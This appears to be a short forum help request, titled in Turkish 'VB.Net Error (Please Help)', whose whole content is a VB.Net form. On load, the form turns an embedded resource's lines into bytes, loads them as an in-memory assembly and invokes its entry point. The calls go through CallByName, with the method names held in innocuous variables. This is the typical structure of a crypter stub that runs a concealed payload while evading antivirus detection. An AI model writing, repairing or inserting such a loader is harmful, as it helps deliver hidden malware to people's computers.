VB.Net Hata (Lütfen Yardım)

Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        RichTextBox1.Text = My.Resources.omgg
        Dim aa As String() = RichTextBox1.Lines
        Dim bb(aa.Count - 1) As Byte
        Dim cc As Integer = 0
        'so
        For Each line In aa

            bb(cc) = Val(line.ToString)

            cc += 1
        Next
        'clean entry point
        Dim red0 As String = "Entrypoint"
        Dim red1 As String = "invoke"
        Dim red3 As Object = AppDomain.CurrentDomain.Load(bb)
        Dim red4 As Object = Interaction.CallByName(red3, red0, CallType.Get)
        Dim red5 As Object = Interaction.CallByName(red4, red1, CallType.Method, Nothing, Nothing)
    End Sub
End Class